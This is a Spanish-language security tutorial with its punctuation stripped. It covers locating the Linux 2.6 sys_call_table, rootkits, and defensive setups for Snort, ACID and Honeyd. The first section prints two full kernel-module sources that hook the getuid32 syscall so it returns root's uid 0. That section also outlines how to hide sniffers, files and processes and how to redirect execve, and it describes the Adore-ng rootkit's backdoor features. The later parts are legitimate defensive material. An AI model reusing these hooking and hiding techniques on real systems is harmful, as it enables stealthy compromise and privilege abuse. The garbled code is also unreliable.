Atencioacuten en la liacutenea que va justo despueacutes de la etiqueta syscall_call ahiacute lo que hace es hacer una llamada pasando en el registro EAX el nuacutemero de la syscall En el mismo fichero entryS maacutes abajo deberiacutea haber algo como lo que sigue esto era cierto hasta las versiones 269 y otras pero recientemente y una vez maacutes esto ha cambiado un poco y ahora tenemos en mi kernel 2614 un fichero ldquosyscall_tableSrdquo en el mismo lugar que contiene una tabla con las llamadas al sistema no sabriacutea decir si es maacutes coacutemodo o no pero lo cierto es que lo deja con un aspecto maacutes bonito para trabajar

Esto es parte de su contenido

Kernel hacks y seguridad JMP

data ENTRY(sys_call_table)

long sys_restart_syscall 0 - old setup() system call

long sys_exit long sys_fork long sys_read long sys_write long sys_open long sys_close long sys_waitpid long sys_creat long sys_link long sys_unlink long sys_execve

long sys_chdir long sys_time long sys_mknod long sys_chmod long sys_lchown16 long sys_ni_syscall long sys_stat long sys_lseek

long sys_getpid long sys_mount long sys_oldumount long sys_setuid16 long sys_getuid16 long sys_stime long sys_ptrace long sys_alarm long sys_fstat long sys_pause long sys_utime long sys_ni_syscall long sys_ni_syscall long sys_access

long sys_nice long sys_ni_syscall long sys_sync long sys_kill long sys_rename long sys_mkdir long sys_rmdir long sys_dup long sys_pipe long sys_times long sys_ni_syscall long sys_brk long sys_setgid16 long sys_getgid16 long sys_signal long sys_geteuid16 long sys_getegid16 long sys_acct long sys_umount long sys_ni_syscall

y continuacutea

used for restarting

5

10

15

old break syscall holder

20

25

30 old stty syscall holder old gtty syscall holder

35 - old ftime syscall holder

40

old prof syscall holder 45

50

recycled never used phys() old lock syscall holder

Kernel hacks y seguridad JMP

Arriba donde dice sys_restart_syscall seriacutea la syscall 0 y sys_exit la 1 bien ese es el lugar para ir a mirar el siacutembolo correspondiente

Ahora tenemos que volcar el contenido de entryo (fichero objeto) del mismo directorio actual de entryS buscando algo MUY concreto queremos esa direccioacuten maacutegica y especial que tan ansiadamente buscamos

Procedo a usar GDB para desensamblar el fichero como muestro en la figura

Muy bien ahora ya hemos encontrado la direccioacuten que queriamos y apartir de esa direccioacuten ya es posible encontrar la sys_call_table

Lo podemos comprobar tambieacuten haciendo un volcado del fichero objeto con objdump

objdump -d entryo|grep ff 14 85

Ahora muestro un coacutedigo bastante probado que de una manera bastante ya estandarizada nos consigue la Sys_call_table[] para poder usuarla como cuando antes la exportabamos

El coacutedigo puede parecer un poco complicado pero hace lo que se ha explicado justo arriba y finalmente nos devuelve la direccioacuten donde se encuentra con un puntero

Kernel hacks y seguridad JMP

Obtenemos la sys_call_table[] en kernels de la serie 26 test

include ltlinuxinithgt include ltlinuxmodulehgt include ltlinuxkernelhgt include ltlinuxmmhgt para las pruebas include ltasmunistdhgt IDT struct

unsigned short off1 unsigned short sel unsigned char noneflags unsigned short off2

__attribute__ ((packed)) idt

IDTR struct

unsigned short limit unsigned int base

__attribute__ ((packed)) idtr el hook uid_t ( restaura)(void) la Sys_call_table ya no se exporta int sys_call_table siempre uid 0 ) uid_t cero_uid(void)

return 0 el hack static void syscalltable(void)

unsigned int offsi char sccall[128] ok necesitamos IDT toca usar asm() asm(sidt 0 =m (idtr))

printk(KERN_ALERT[IDTR] Base en 0xxn idtrbase) idt[80h]

memcpy(ampidt(void )(idtrbase+80x80) sizeof(idt)) offs = (idtoff2 ltlt 16) | idtoff1 printk(KERN_ALERT [IDT(80h)] Descriptor en 0xxn

verificando calln offs) memcpy(sccall (void )offs 128) vamos a ver si encontramos la cadenita FF1485 por ah) i=0while((ilt128) ampamp ((sccall[i] == xff) ampamp (sccall[i+1]== x14) ampamp (sccall[i+2]== x85)))

i++ sys_call_table =(void) ((int ) ampsccall[i+3])

printk(KERN_ALERT [OK] Sys_call_table -gt 0xpn sys_call_table) aqula tenemos ) NO verifico que no se haya encontrado P

Kernel hacks y seguridad JMP

empieza static int __init buscarsct(void)

printk(KERN_ALERT [CARGADO] Buscando Sys_call_tablen)

syscalltable() fundamental vamos a ver si es verdad ) restaura=sys_call_table[__NR_getuid32]

sys_call_table[__NR_getuid32]=cero_uidreturn 0

lo ponemos todo en orden static void __exit descarga(void)

sys_call_table[__NR_getuid32]=restaura printk(LKM descargado)

module_init(buscarsct) module_exit(descarga) ya estamos ) MODULE_LICENSE(GPL)MODULE_AUTHOR(Jose Miguel Porcel G)MODULE_DESCRIPTION(Obtener la Sys_call_table[])

Es este punto lo maacutes importante de ese coacutedigo ndash ya explicado - es maacutes bien saber que se puede utilizar esa funcioacuten syscalltable() en el resto de programas para obtener la Sys_call_table y poder usarla sin maacutes como se ha visto en el resto de LKMs anteriores

81- Otra alternativa iquestmaacutes sencilla

Si bien acabo de decir que el meacutetodo anterior estaacute muy probado yo he utilizado en kernels de la serie 26 (269 concretamente y otros) un mecanismo auacuten maacutes personalizado tanto que NO he podido probarlo al 100 y aunque el gancho (hook) siempre se ha realizado con eacutexito por alguacuten motivo en alguna maacutequina (ajena) se ha vuelto inestable el sistema provocando volcados de memoria y otros problemas con el stack que ponian el kernel en una especie de bucle aunque esto en los peores casos

No obstante el coacutedigo algo depurado ha funcionado perfectamente en mi ordenador AMD Athlon XP 1600+ (32bits) con Kernel de la serie 26 sin problema alguno

La idea del LKM va un poco maacutes allaacute de lo que se pretende en este trabajo puesto que habriacutea que explicar algunas otras cosas que se salen algo de la temaacutetica el caso es que si hechamos un vistazo a ltasmprocessorhgt donde se encuentra una estructura llamada cpuinfo_x86 con un montoacuten de informacioacuten muy interesante como el resto del fichero la verdad donde hay varias menciones a loops_per_jiffy y boot_cpu_data que son las uacutenicas cosas de eacuteste coacutedigo no habreacute tratado hasta ahora

Baacutesicamente lo que hacemos es encontrar SYS_exit y a partir de ahiacute la Sys_call_table el coacutedigo aunque no esta mal no es perfecto ni mucho menos

usrsrclinuxincludeasm $ vim processorh

Kernel hacks y seguridad JMP

1 include ltlinuxmodulehgt 2 include ltlinuxkernelhgt 3 include ltlinuxinithgt 4 include ltasmtypeshgt 5 include ltasmprocessorhgt 6 include ltasmunistdhgt 7 int sys_call_table 8 uid_t ( restaura)(void) 9 uid_t cero_uid(void) 10 printk([] probando h00kn) 11 return 0 12 13 static int __init 14 carga (void) 15 16 unsigned long pointr 17 unsigned long sys 18 extern int loops_per_jiffy 19 sys_call_table = NULL 20 printk (KERN_ALERT Buscando Sys_call_table n) 21 printk (gtgt Localizando __NR_exit) 22 buscamos la sys_call_table[] ) 23 for (pointr = (unsigned long) amploops_per_jiffy 24 pointr lt (unsigned long) ampboot_cpu_data 25 pointr += sizeof (void )) 26 sys = (unsigned long ) pointr 27 if (sys[1] == (unsigned long) __NR_exit) 28 sys_call_table = (void ) sys 29 sys_call_table -= 304 calculado ) 30 printk ( OKn__NR_exit localizado en 0xpn 31 (void ) sys_call_table[__NR_exit]) 32 break 33 34 35 ya la tenemos ) o no ( 36 if (sys_call_table) 37 printk (KERN_ALERT 38 n[ERR] No pudo ser rmmod modulon) 39 return 0 40 41 printk (KERN_ALERT 42 gtgt Sys_call_table[] localizada -gt 0xpn 43 sys_call_table) 44 restaura=sys_call_table[__NR_getuid32] 45 sys_call_table[__NR_getuid32]=cero_uid 46 return 0 47 48 static void __exit 49 descarga (void) 50 printk(Descargado) 51 sys_call_table[__NR_getuid32]=restaura 52 53 module_init (carga) 54 module_exit (descarga) 55 MODULE_LICENSE(GPL) 56 MODULE_AUTHOR(Jose Miguel Porcel G) 57 MODULE_DESCRIPTION(Alternativa para encontrar la

Sys_call_table[])

Kernel hacks y seguridad JMP

Imagen conceptual del proceso

Kernel hacks y seguridad JMP

9- Hooks y hacks de intereacutes (algunas ideas)

Algunas cosas que podemos hacer en el Kernel

Ocultar un sniffer

Resulta que podemos cambiar los flags de una tarjeta de red y ocultar ese PROMISC delatador mediante la syscall SYS_ioctl se pueden hacer otras muchas cosas con eso si pensamos en lo que hace ioctl() que es controlar dispositivos

Ocultar ficheros y procesos

iquestQueacute hacemos al abrir un fichero Usar getdents() lo mismo para mirar los procesos mapeados en proc y por tanto iquestQueacute podemos hacer nosotros para manipular ese proceso efectivamente usar SYS_getdents basta con leer la documentacioacuten de las manual pages de getdents para saber como funciona )

Manipular execve()

Lo que hace execve es baacutesicamente ejecutar otro programa pero hay una pega y es que en nuestro LKM execve necesita hacer una serie de operaciones previas como usar la pila (stack) con los paraacutemetros Pero el Kernel y nosotros estamos preparados para ese problemilla si miramos en unistdh vemos que hay una serie de syscalls nulas sin ir maacutes lejos la 222 no estaacute puesto que es una sys_ni_syscall y pide a gritos que la usemos por lo que movemos la SYS_execve original a esa posicioacuten nula ( u otra de tu conveniencia) para llamarla desde otra funcioacuten nuestra pero claro iquestcoacutemo llamamos a execve Si lo hacemos directamente la cosa no va a funcionar por lo que comentaba y si hacemos el hook eso que es imprescindible que suceda no va a pasar de manera que necesitamos una buena manera de llamar a execve y que mejor que mirar como lo hace el Kernel iquestno

usrsrclinuxincludeasm $ vim unistdh

En unistdh ndash evitando tratar nada sobre ensamblador ndash encontramos que execve() requiere tres argumentos de manera que necesitamos la macrointrusioacuten (expandida por el preprocesador) que permitiraacute llamar a la funcioacuten con tres paraacutemetros en el caso que nos ocupa execve() es generada por _syscall3 que inicializa los registros del preprocesador y desencadena la Int 0x80 poniendo en la variable global errno el coacutedigo de error tiacutepicamente -1 si hay eacutexito se vuelve a quien llamoacute

Nos basta entonces con rellenar esa macrointrusioacuten para interceptar execve() correctamente en el siguiente coacutedigo __NR_mi_execve sustituye a la __NR_execve original

Kernel hacks y seguridad JMP

inicio

int mi_execve(const char filen char const argv [] char const envp[])int errnolong __res __asm__ volatile (int $0x80 =a (__res)

0 (__NR_mi_execve)b ((long)(filen)) c ((long)(argv)) d ((long)(envp)))

__syscall_return(long__res)

final

Ese seriacutea el coacutedigo a usar para poder tratar con execve() desde el nuacutecleo con un LKM

10- Rootkits visioacuten general

Con lo que hemos ido viendo en este trabajo salta a la vista que tpodemos desarrollar aplicaciones maacutes que intersantes de cara a su uso en sistemas comprometidos una vez descubierta una vulnerabilidad en un sistema y tras el eacutexito en su explotacioacuten procedemos a obtener y asegurar un mayor control sobre el host

Los rootkits son hoy por hoy uno de los mecanismos maacutes sofisticados para conseguir ese objetivo Se trata de un kit de herramientas que permiten al atacante mantenere el control total sobre el sistema de forma continuada con los maacuteximos privilegios y siempre intentando hacerlo de forma indetectable para los administradores del sistema yo de la red

De los primeros rootkits en la historia de los sistemas ldquounix-likerdquo hay que destacar dos el rootkit de SunOS4 y el Linux Root Kit ldquolrk3rdquo (Diciembre 1996) Maacutes ejemplos seriacutean ldquoheroincrdquo y luego Knark como consecuencia de este nuevo tipo de teacutecnicas

Uno de los primeros textos al respecto distribuido en Internet fue ldquoHiding Out Under Unix rdquo por Black Tie Affair (Phrack vol3 issue 25 1989) Ni que decir tiene que el presente documento estaacute bastante maacutes avanzado que ese texto y va mucho maacutes allaacute

Tal y como se ha ido viendo en el presente trabajo y a medida que el Kernel se ha ido desarrollando el tema ha ido avanzando bastante y han surgido todo tipo de rootkits no solo para los sistemas Solaris Unix o Linux sino tambieacuten para FreeBSD y Windows entre otros

Los rootkits actuales no utilizan los mismos vectores de ataque sino que muchos se apoyan en otras teacutecnicas distintas a las contempladas por mi en este trabajo ademaacutes hay que comentar que la efectividad de un rootkit pasa tambieacuten por mantener su coacutedigo fuente oculto al uso puacuteblico a las empresas y los desarrolladores de soluciones para la seguridad

Kernel hacks y seguridad JMP

Ejemplo de un rootkit moderno ldquoAdore-ngrdquo

Adore-ng es un interesante (pero conocido) rootkit que puede funcionar en los kernels maacutes recientes sin problema alguno para intentar mantenerse oculto e indetectable utiliza una novedad respecto a muchos rootkits ya que no usa sys_call_table [] sino que se basa en la redireccioacuten a nivel de capa VFS de Linux ademaacutes tiene una utilidad para infectar moacutedulos cargados en el nuacutecleo Un interesante atiacuteculo por parte de ldquoStealthrdquo (junto con el grupo TESO son autores de Adore) es ldquoKernel Rootkit Experiencesrdquo donde habla de sus experiencias como autor de Adore y la situacioacuten en aquel momento de la investigacioacuten sobre nuevas teacutenicas entre otras cosas aunque no se trata de un texto extenso

Sus caracteriacutesticas ldquobaacutesicasrdquo vienen incluidas en el fichero FEATURES de mi descarga de Adoreshyng de Internet e indica ndash entre otras cosas- lo siguiente

Runs on kernel 24x UP and SMP systems

First test-versions successfully run on 260

File and directory hiding

Process hiding

Socket-hiding (no matter whether LISTENing CONNECTED etc)

Full-capability back door

Does not utilize sys_call_table but VFS layer

KISS principle to have as less things in there as possible but also being as much powerful as possible

Por otro lado el fichero README indica el proceso de instalacioacuten de Adore Tras su compilacioacuten y

Kernel hacks y seguridad JMP

carga en el sistema (requiere privilegios de root) podremos usar el cliente AVA para comunicarnos con la parte ldquoservidorardquo de Adore-ng aunque explicar el uso de este rootkit al detalle queda fuera de las pretensiones de este texto y en ninguacuten caso aporta nada de intereacutes adicional puesto que no es el objetivo hacer de script kiddie con Adore

La siguiente tabla introduce al famoso rootkit ldquoSucKITrdquo para mostrar algunos datos de intereacutes

Adore ~034 SucKIT Adore-ng gt=131

Interceptando el flujo de ejecucioacuten

Syscalltable Syscall handler VFS

Transferencia coacutedigo dentro del Kernel

LKM Acceso directo (raw shycrudo) a memoria

LKM

Incluye puerta trasera - Siacute -

Mecanismos de recarga - sbininit Herramienta para infeccioacuten LKMs

Tabla Comparativa de algunos rootkits

Medidas de proteccioacuten y deteccioacuten de rootkits

Aunque no es el objetivo del documento explicar las teacutecnicas de deteccioacuten de rootkits y puertas traseras de forma exhaustiva se comentan a continuacioacuten algunas utilidades praacutecticas para protegerse de este tipo de software en nuestros sistemas

Una de las maneras maacutes directas es chequear Systemmap con las direcciones de memoria de las syscalls actuales en principio deberian ser las mismas pero si un rootkit modifica la direccioacuten a la que apunta la syscall podremos notar que hay una diferencia cierto offset de la syscall original y la suplantada Existen varios programas en entorno de usuario que permiten hacer esto sin excesiva complicacioacuten

Aquiacute se muestra el inicio del fichero usrsrclinuxSystemmap

linux head Systemmap

00100000 A phys_startup_32c0100000 A _textc0100000 T startup_32c01000c6 t checkCPUtypec0100147 t is486c010014e t is386c0100199 t L6c010019b t check_x87c01001c2 t setup_idtc01001df t rp_sidt

Kernel hacks y seguridad JMP

Otros meacutetodos tiacutepicos

Checksums de ficheros importantes (tripwire aide etc)

Backup de las estructuras centrales del kernel (kstat)

LKMs anti-rootkit

Herramientas forenses (TCT)

Analisis de logs etc

Utilidades para la deteccioacuten (rkhunter chkrootkit)

Enlaces en Internet para la descarga de utilidades e informacioacuten sobre las herramientas

httpwwwchkrootkitorg

httpwwwrootkitorg

Conclusiones

Las aplicaciones que tiene hackear el Kernel son varias desde el punto de vista de la seguridad y es que lo mismo podemos demoler la seguridad de un sistema troyanizando absolutamente todo el sistema como dotar al entorno de habilidades especiales para controlar al miliacutemetro todo lo que sucede y poder hacer un seguimiento exhaustivo de las acciones de un atacante

Kernel hacks y seguridad JMP

Snort el cerdito valiente

SNORT es us sistema para la deteccioacuten de intrusos OpenSource que nos permite monitorear el traacutefico de nuestra red y detectar vulnerabilidades conocidas asiacute como todo tipo de ataques conocidos a nuestra red

Su instalacioacuten es relativamente sencilla y no supone una carga importante para el sistema por lo que se recomienda su uso como medida de seguridad adicional combinando SNORT con otros sistemas y un buen firewall restrictivo aumentamos considerablemente la seguridad en nuestra red y el seguimiento de posibles incidencias

Wreski y Christopher Pallack en Linuxsecuritycom

ldquo A Network Intrusion Detection System (NIDS) is a system that is responsible for detecting anamolous inappropriate or other data that may be considered unauthorized occuring on a network Unlike a firewall w hich is configured to allow or deny access to a particular service or host based on a set of rules If the traffic matches an acceptible pattern it is permitted regardless of what the packet contains However an NIDS captures and inspects all traffic re gardless of whether its permitted or not Based on the contents at either the IP or application level an alert is generated

Snort is a lightweight NIDS in that it is non-intrusive easily configured utilizes familiar methods for rule development and takes only a few minutes to install Snort currently includes the ability to detect more than 1100 potential vulnerabilities Keep in mind that Intrusion Detection devices work in conjunction with other security measures and are not a replacement for other good security practices ldquo

Kernel hacks y seguridad JMP

1- Preparando el entorno de trabajo

Lo primero que tenemos que hacer es obtener una copia de Snort para nuestra distribucioacuten de Linux (ya que vamos a trabajar en esta plafatorma) por lo que tendremos que usar los mecanismos apropiados en nuestra distribucioacuten en mi caso particular

root emerge -pv snort

These are the packages that I would merge in order

Calculating dependencies done [ebuild R ] net-analyzersnort-243 -flexresp -inline +mysql -odbc shypostgres -prelude (-selinux) -sguil -snortsam +ssl 0 kB

Total size of downloads 0 kB

No obstante podemos obtener los paquetes y el coacutedigo fuente de la URL

httpwwwsnortorgdl

Una vez instalado Snort procederemos a su configuracioacuten tal y como iremos viendo antes de proceder a arrancar el servicio

2- Configuracioacuten baacutesica de Snort

Para empezar debemos buscar un fichero llamado ldquosnortconfrdquo que contiene la configuracioacuten de

Kernel hacks y seguridad JMP

Snort Dicho fichero se puede encontrar en

etcsnortsnortconf

pero puede que esteacute ubicado en otra localizacioacuten dependiendo de tu distribucioacuten en mi caso trabajo con Gentoo Linux asi que de ahora en adelante habraacute que tener este pequentildeo matiz en consideracioacuten para el futuro

Antes de empezar es aconsejable realizar una copia del fichero original es posible que ya se haya incluido dicha copia con el paquete de Snort no obstante es muy aconsejable hacerlo sino es el caso

El fichero trae comentarios detallados sobre la funcionalidad de las directivas de Snort por lo que en el presente documento solamente se trataraacute de forma general sin entrar en excesivos detalles sobre absolutamente todas las opciones que Snort trae con el objetivo de no alargar el documento de forma innecesaria

Tal y como nos indica el inicio del fichero son 5 los pasos a seguir en ese fichero

1 Establecer las variables para nuestra red

2 Configurar el preprocesador de Snort

3 Configurar los plugins de salida

4 Antildeadir directivas para la configuracioacuten en ejecucioacuten de Snort

5 Personalizar nuestro set de reglas para Snort

La figura anterior desglosa las partes en las que Snort se compone para llevar a cabo su tarea

Paso 1

Debemos indicar como estaacute montada nuestra red e identificarnos no es buena idea dejar esto con un valor ldquoanyrdquo o por defecto asiacute que lo modificamos como sea necesario

Kernel hacks y seguridad JMP

var HOME_NET 1921681124 o bien var HOME_NET $eth0_ADDRESS

Maacutes de lo mismo indicamos los hosts que forman nuestra red podemos hacerlo de varias manera y esta es la maacutes adecuada para redes locales medianas o grandes

var HOME_NET 1921681124

Ahora configuramos la red externa con el valor ldquocualquierardquo es un buen comienzo

var EXTERNAL_NET any

Indicamos la lista de servidores DNS SMTP etc de nuestra red si los hay

var DNS_SERVERS $HOME_NET

var SMTP_SERVERS $HOME_NET

[]

Ahora viene un paso importante que es definir los puertos con servicios que Snort debe vigilar y sobre los cuales se desean detectar ataques si tenemos un servidor web (tiacutepicamente Apache en el puerto 80) podemos hacer lo que se muestra en el ejemplo siguiente indicaacutendolo de manera continua (221024) o por puertos individuales (212253808080 ) Tambieacuten podemos incluir ficheros de reglas tal y como se muestra en los ejemplos dentro del fichero de configuracioacuten

var HTTP_PORTS 80 var BO-BACKDOOR 31337

var NO_SSH 22 include mis_directivasrules

Ahora podemos configurar ciertos aspectos del decodificador de Snort hecho esto podemos pasar a la configuracioacuten del motor de deteccioacuten Si andamos escasos de recursos en nuestra maacutequina es MUY recomendable usar

config detection search-method lowmem

Paso 2

Podemos habilitar soporte para defragmentacioacuten IP asiacute podremos detectar cierto tipo de ataques (DoS normalmente) que usen esa teacutecnica asiacute como evitar la evasioacuten de Snort mediante teacutecnicas maacutes o menos avanzadas

Por ejemplo preprocessor frag2

Kernel hacks y seguridad JMP

preprocessor frag3_global max_frags 65536 preprocessor frag3_engine policy first detect_anomalies

Stateful-inspection y Stream Reassembly si queremos detectar ataques de escaneo de puertos ocultos tiacutepicamente Syn-Stealth o de cualquier otro tipo asiacute como otros ataques baacutesicos esta es la seccioacuten a modificar Por ejemplo

preprocessor stream4 detect_scans

preprocessor stream4_reassemble

Performance Statistics tal y como dice el fichero aquiacute hay MUCHAS posibilidades que no se van a tratar aquiacute asiacute que lo mejor seraacute mirar el propio manual y documentacioacuten de Snort al respecto Lo dejaremos con los valores por defecto recomendados

A continuacioacuten hay algunas directivas sobre la inspeccioacuten de traacutefico de Back Oriffice (troyano miacutetico del grupo Cult Of Dead Cow) traacutefico RPC posible ARP spoof traacutefico Telnet etc A configurar a gusto del consumidor o bien dejamos los valores por defecto

Paso 3

Aquiacute podemos indicar cosas referentes al formato de salida de logs y demaacutes por ejemplo en el formato de ldquotcpdumprdquo en una base de datos (MySQL) salida por el Syslog de sistema

Paso 4

Aquiacute podemos leer el manual para obtener informacioacuten detallada de las posibilidades para personalizar un poco maacutes el funcionamiento de Snort es un tema que no vamos a cubrir ahora por lo que podemos dejara los valores por defecto recomendados

Paso 5

Ahora podemos antildeadir nuestras propias reglas para la deteccioacuten de actividad sospechosa u ataques a nuestra red Este tema lo tratamos a continuacioacuten por separado podemos obtener reglas pre-configuradas de Internet aparte de las que el mismo Snort trae consigo

3- Descargando nuevas reglas desde Internet

Gracias al esfuerzo de la comunidad por mantener las cosas en orden y seguras podemos ir actualizando nuestro set de reglas o descargar nuevas funcionalidades la primera web recomendada (aunque no la uacutenica al respecto) y a la que me voy a limitar es

httpwwwsnortorgrules

yo

Kernel hacks y seguridad JMP

httpwwwsnortorgpub-bindownloadscgi

Nos basta con descomprimir las reglas y ajustar la configuracioacuten de snortconf como sea necesario para apuntar a los ficheros de reglas que queremos habilitar

Por supuesto podemos crear nuestras propias reglas para saber como hacerlo es mejor - una vez maacutes ndash mirar la documentacioacuten actualizada de Snort al respecto

4- Prevencioacuten de intrusiones

Aquiacute se muestra Snort actuando como interceptor de sesiones se trata de examinar las sesiones establecidas por un atacante y sus intentos si algo resulta hostil se envia un paquete RST para terminar la conexioacuten de inmediato En el ejemplo tras el intento de atacar el servidor apache se da por terminada la sesioacuten expliacutecitamente gracias a Snort

Nota Tanto el firewall como Snort y el servidor web estaacuten conectados entre si el servidor apache accesible desde el exterior estaacute situado en la DMZ

Ahora Snort (con el parche inlineIPS aplicado) actuacutea como firewall-routerIPS estando como Gateway

httpsnort-inlinesourceforgenet (configure - -enable-inline)

Una vez detectado traacutefico hostil fruto de un ataque el traacutefico futuro del host atacante seraacute bloqueado

Kernel hacks y seguridad JMP

Para terminar se muestra otro ejemplo con el plugin SnortSAM en el que cuando un ataque se detecta se pide al router el bloqueo del traacutefico entrante del host origen del ataque Si el host antes de ser bloqueado abre una puerta trasera con otro host bajo su control esto puede suponer un riesgo para la seguridad de la red

httpwwwsnortsamnet

5- Usando ACID + SNORT

Con ACID pretendemos encontrar un mecanismo de control y uso centralizado de SNORT simplificado accesible viacutea web

Kernel hacks y seguridad JMP

La instalacioacuten de Snort con ACID (Analysis Console for Intrusion Detection) pasa por una serie de requisitos y dependencias podemos echar un vistazo al sitio web de ACID para descargar el software y documentacioacuten

httpacidlabsourceforgenet

La versioacuten maacutes reciente de ACID es ahora 096_beta23 (seguacuten Portage en mi distribucioacuten no he mirado el CVS) se recomienda tener precauciones respecto a las posibles vulnerabilidades en el coacutedigo de la aplicacioacuten que puedan ir surgiendo mientras el software adquiere un mayor nivel de maduracioacuten en el desarrollo

Luego necesitaremos a ser posible

Apache soporte GD OpenSSL MySQL

PHP soporte GD OpenSSL MySQL

MySQL

ACID soporte adodb jpgraph phplot GD

Y claro esta Snort con soporte para MySQL

Procederemos a instalar los paquetes y configurar una nueva bases de datos para Snort en MySQL usando para ello la estructura que se nos facilita en los paquetes para la instalacioacuten para crear las tablas en la base de datos Tambieacuten daremos de alta un usuario en MySQL con los privilegios estrictamente necesarios

Ejemplo

$ mysql -u root -p

mysql gt CREATE DATABASE snort

mysql gt GRANT ALL ON snort to rootlocalhost identified by password

$ mysql -u root -p pass lt usrsrcsnort-xxschemascreate_mysql_snort

Necesitaremos descargar los paquetes y descomprimirlos bajo el Document Root de nuestro servidor WEB (Apache) varwwwhtdocs por ejemplo Por tanto es importante respetar el orden en la instalacioacuten de las dependencias

Lo siguiente muestra alguna de la informacioacuten que hay que editar del fichero ldquoacid_confphprdquo para que todo funcione correctamente con la base de datos MySQL Una vez instalado bastaraacute con visualizar la consola ACID desde nuestro navegador apuntando a la URL donde hemos instalado todo por ejemplo http127001acid

Alert DB connection parameters

Kernel hacks y seguridad JMP

- $alert_dbname MySQL database name of Snort alert DB

- $alert_host host on which the DB is stored

- $alert_port port on which to access the DB

- $alert_user login to the database with this user

- $alert_password password of the DB user

This information can be gleaned from the Snort database

output plugin configuration

$alert_dbname = snort_log

$alert_host = localhost

$alert_port =

$alert_user = root

$alert_password = mypassword

Archive DB connection parameters

$archive_dbname = snort_archive

$archive_host = localhost

$archive_port =

$archive_user = root

$archive_password = mypassword

Esquema baacutesico de la base de datos de ACID y su funcionamiento con Snort

Kernel hacks y seguridad JMP

Creacioacuten de reglas propias para Snort

Podemos separar las reglas en grandes bloques accioacuten+cabecera y opciones

CABECERA

Accioacuten de la regla alert

Protocolo tcp udp

Direccion IP origen $EXTERNAL_NET

Puerto IP origen any

Direccion IP destino $HOME_NET

Puerto IP destino any

Direccioacuten de la operacioacuten -gt (puede ser -gt lt- ltgt)

OPCIONES

Mensaje ldquohola directivardquo

Opciones flags Aack 0 reference

Ej drop tcp any any -gt any 22 (classtypeattempted-user msgrdquoIntento de conectar al puerto SSHrdquo)

El coacutedigo anterior haraacute que las conexiones al puerto 22 sean logueadas y bloqueadas una vez antildeadida la regla dentro de las directivas de Snort

Para documentacioacuten detallada y actualizada sobre las reglas de Snort y lo referente a las opciones se recomienda visitar el sitio oficial de Snort en Internet wwwsnortorg

Conclusiones

Debido a que un cortafuegos no es una medida realmente segura para proteger nuestra red se hace necesario detectar aquellos ataques que se realizan con eacutexito contra nuestros sistemas Los sistemas de deteccioacuten y de prevencioacuten de intrusiones ndash Snort en el caso que nos ocupa ndash junto con poliacuteticas de seguridad adicionales como SELinux y GRSecurity nos brindan un nivel de seguridad mucho mayor asiacute como la capacidad de estudiar posibles ataques para poder evitarlos en un futuro

Una vez maacutes la soluciones opensource estaacuten muy por encima en calidadprecio con respecto a otras alternativas comerciales

Kernel hacks y seguridad JMP

Honeypots

Una de las teacutecnicas maacutes habituales para proteger nuestras redes y aprender de nuestros atacantes es usar sistemas abiertos con el fin de atraer (o distraer) la atencioacuten de nuestros posibles intrusos

Los honeypots son simplemente eso sentildeuelos que nos permiten mantener la red un poco maacutes protegida mientras estos sistemas son comprometidos y controlados a voluntad por el administrador del sistema

Aunque existen muchas soluciones para implementar honeypots en este trabajo se trataraacute principalmente con ldquoHoneydrdquo

Kernel hacks y seguridad JMP

1- Preparando el entorno de trabajo

Lo primero que habraacute que hacer es obtener una copia de ldquoHoneydrdquo y opcionalmente ldquoArpdrdquo compilarlas e instalarlas en el sistema que pretende hacer de sentildeuelo estaacute claro que no hay que instalarlo en un equipo en produccioacuten P

net-analyzerhoneyd Latest version available 10-r1 Latest version installed 10-r1

Size of downloaded files 2566 kB Homepage httpwwwcitiumicheduuprovoshoneyd Description Honeyd is a small daemon that creates virtual hosts on a network License GPL-2

De las siguientes direcciones nos interesa ademaacutes toda la documentacioacuten que podamos encontrar al respecto

httpwwwhoneydorg

httpwwwcitiumicheduuprovoshoneyd

Debemos editar el fichero de configuracioacuten para establecer nuestras preferencias como sea necesario y arrancar el servicio honeyd

Config file for etcinitdhoneyd

Set Network addressHONEYD_NET=10001

HONEYD_IF=lo

HONEYD_LOG=varloghoneydlog

Set to 1 to enable (gt=honeyd-10)HONEYD_HTTPD=0HONEYD_HTTPD_PORT=80HONEYD_HTTPD_ROOT=usrsharehoneydwebserverhtdocs

Kernel hacks y seguridad JMP

Set preferred options here HONEYD_OPTS=-f etchoneydconf -p usrsharehoneydnmapprints

-x usrsharehoneydxprobe2conf -a usrsharehoneydnmapassoc

Otras alternativas a honeyd podriacutean ser sistemas como VMWare User Mode Linux etc

Un interesante ldquopaperrdquo es el de Lance Spitzner disponible en

httpwwwtracking-hackerscompapershoneypotshtml (9 May 2003)

2- Creando sistemas virtuales

Para crear los sistemas virtuales debemos editar el contenido de ldquousrsharehoneydrdquo en mi caso para conseguir nuestro objetivo de simulacioacuten por ejemplo tenemos el fichero ldquoconfigrdquo concretamente configsample que es un ejemplo de configuracioacuten lo probamos copiando honeydconf dentro de etc (en mi caso particular)

Su contenido se muestra a continuacioacuten

route entry 10001 route 10001 link 1020024 route 10001 add net 1030016 10301 latency 8ms bandwidth 10Mbps route 10301 link 1030024 route 10301 add net 1031024 10311 latency 7ms loss 05 route 10311 link 1031024

Example of a simple host template and its binding create template set template personality Microsoft Windows XP Professional SP1 set template uptime 1728650 set template maxfds 35 add template tcp port 80 scriptsiis5netmainpl add template tcp port 22 sh scriptstestsh $ipsrc $dport add template tcp port 23 proxy $ipsrc23 add template udp port 53 proxy 1412119214153 set template default tcp action reset

create default set default default tcp action block set default default udp action block set default default icmp action block

create router

Kernel hacks y seguridad JMP

set router personality Cisco 1601R router running IOS 121(5)set router default tcp action resetadd router tcp port 22 scriptstestshadd router tcp port 23 scriptsrouter-telnetpl

bind 10301 routerbind 10311 routerbind 103112 templatebind 103111 templatebind 103110 templateset 103111 personality Microsoft Windows NT 40 SP3set 103110 personality IBM AIX 42

De igual forma podemos editar el resto de ficheros de intereacutes para modificar lo que queramos no obstante cubrir todas las posibilidades va maacutes allaacute de lo que se persigue en este trabajo La documentacioacuten on-line puede solucionar cualquier duda al respecto

Para probar el sistema podemos usar herramientas de analisis y escaneo de puertos como Nmap ping hping traceroute etc

3- Otros usos

Podemos usar tambieacuten los honeypots para automatizar tareas por ejemplo para limpiar gusanos que han infectado nuestra red imitando el proceso de infeccioacuten pero haciendo que el honeypot lleve a cabo el envio de un programa que limpie el gusano en lugar de propagarlo ejecutando su payload Es solo una idea de todo lo que podemos hacer con un honeypot

Listado de programas yo utilidades para el anaacutelisis de redes y auditorias

